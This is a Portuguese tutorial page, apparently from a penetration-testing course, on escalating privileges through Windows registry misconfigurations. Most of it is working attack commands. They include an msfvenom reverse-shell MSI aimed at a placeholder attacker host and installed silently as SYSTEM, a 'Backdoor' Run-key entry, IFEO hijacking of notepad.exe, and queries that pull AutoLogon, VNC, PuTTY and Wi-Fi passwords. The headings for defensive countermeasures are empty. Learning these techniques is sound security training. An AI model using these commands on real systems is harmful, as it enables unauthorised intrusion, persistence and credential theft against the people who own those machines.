Ataques baseados em registro

Explorando más configurações do registro Windows para escalação de privilégios

O que você vai descobrir

🔧 Experimente agora

Verifique se AlwaysInstallElevated está habilitado no seu sistema:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Você verá: Ou "ERROR: The system was unable to find the specified registry key or value" (não vulnerável) ou "AlwaysInstallElevated REG_DWORD 0x1" (vulnerável - ambas as chaves devem estar em 1).

Habilidades que você vai dominar

Entendendo ataques de registro

O registro Windows é um banco de dados hierárquico armazenando configuração do sistema e aplicações. Certas chaves de registro controlam comportamentos sensíveis à segurança - quando mal configuradas, fornecem caminhos diretos de escalação de privilégios.

AlwaysInstallElevated

Este é um dos vetores de escalação de privilégios mais confiáveis. Quando habilitado em HKLM e HKCU, qualquer arquivo .msi instala com privilégios SYSTEM - mesmo executado por usuários não privilegiados:

# Verificar ambas as chaves (AMBAS devem estar em 1)
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Se ambas retornarem 0x1, gerar MSI malicioso:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker> LPORT=443 -f msi -o shell.msi

# Executar (executa como SYSTEM)
msiexec /quiet /qn /i shell.msi

# Ou com PowerUp
Write-UserAddMSI
# Cria UserAdd.msi que adiciona um usuário admin local

Chaves de registro AutoRun

Chaves AutoRun executam programas na inicialização do sistema ou login do usuário. Se você pode modificar essas chaves ou os binários que elas referenciam, você obtém persistência e potencialmente escalação de privilégios:

# Locais AutoRun comuns
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"

# Verificar permissões em binários referenciados
# Se o caminho do binário é gravável, substitua-o pelo seu payload

# Verificar permissões de chaves de registro
accesschk.exe -kwuqsw "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

# Se gravável, adicionar sua própria entrada
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\temp\shell.exe"

Credenciais armazenadas no registro

Várias aplicações e recursos Windows armazenam credenciais no registro, às vezes em texto claro ou formatos facilmente reversíveis:

# Credenciais AutoLogon (podem conter senha em texto claro)
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" /v DefaultDomainName

# Sessões PuTTY salvas (podem conter credenciais)
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s

# Senhas VNC (armazenadas criptografadas mas facilmente quebráveis)
reg query "HKLM\SOFTWARE\RealVNC\WinVNC4" /v Password
reg query "HKCU\Software\TightVNC\Server" /v Password

# Strings de comunidade SNMP
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities"

# Senhas de redes sem fio
netsh wlan show profiles
netsh wlan show profile name="NetworkName" key=clear

Ferramentas e técnicas

Funções de registro do PowerUp

PowerUp fornece funções especificamente para ataques baseados em registro:

# Verificar AlwaysInstallElevated
Get-RegistryAlwaysInstallElevated

# Verificar credenciais AutoLogon
Get-RegistryAutoLogon

# Encontrar entradas AutoRun modificáveis
Get-ModifiableRegistryAutoRun

# Gerar payload MSI para AlwaysInstallElevated
Write-UserAddMSI

Análise de permissões de registro

Use accesschk para encontrar chaves de registro graváveis:

# Encontrar chaves de registro graváveis em HKLM
accesschk.exe -kwuqsw "Authenticated Users" HKLM\SOFTWARE /accepteula
accesschk.exe -kwuqsw "Users" HKLM\SOFTWARE /accepteula

# Verificar chave específica
accesschk.exe -kwuqsv HKLM\SYSTEM\CurrentControlSet\Services\VulnerableService /accepteula

# Chaves para verificar acesso de escrita:
# HKLM\SYSTEM\CurrentControlSet\Services\*  (configurações de serviços)
# HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run  (autoruns)
# HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options (hijacking de debugger)

Image File Execution Options (IFEO)

IFEO permite especificar um debugger para qualquer executável. Se você pode escrever nessas chaves, você pode sequestrar execução de binários do sistema:

# Verificar permissões IFEO
accesschk.exe -kwuqsw "Authenticated Users" "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options"

# Se gravável, sequestrar notepad.exe (exemplo)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /t REG_SZ /d "C:\temp\shell.exe"

# Agora quando alguém executa notepad, seu payload executa em vez

Cenários de ataque reais

Contramedidas defensivas

Perguntas frequentes

🎯 Ataques de registro - Conquistado!

Você agora entende como explorar más configurações de registro para escalação de privilégios. AlwaysInstallElevated, chaves AutoRun e credenciais armazenadas são vetores de ataque poderosos que aparecem frequentemente em ambientes reais.

Pronto para aprender impersonation de token →